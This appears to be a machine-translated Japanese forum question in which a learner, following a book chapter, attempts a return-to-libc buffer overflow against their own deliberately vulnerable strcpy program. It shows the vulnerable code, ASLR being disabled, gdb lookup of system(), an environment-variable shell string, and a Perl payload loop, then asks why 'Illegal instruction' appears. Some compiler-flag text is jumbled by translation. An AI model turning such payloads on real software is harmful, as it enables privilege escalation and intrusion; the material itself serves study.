バッファ オーバーフロー、特に libc への復帰をいじっています。
次の脆弱なコードがあります。
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
フラグ-fstack-protector
付きの gcc-2.95 (no ) を使用してコンパイルしました。「Hacking: The Art of Exploitation」の-mpreferred-stack-boundary=2
libc への復帰の章に従いました。
まず、ASLR を無効にしました。
$ cat /proc/sys/kernel/randomize_va_space
0
のアドレスを知りましたsystem
:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
以下を使用して実行するコマンドを含む環境変数を作成しましたsystem
。
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
次に、シェルの取得を自動化するための perl スクリプトを作成しました。
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
どこで私は間違えましたか?シェルの代わりに「不正な命令」が表示されるのはなぜですか?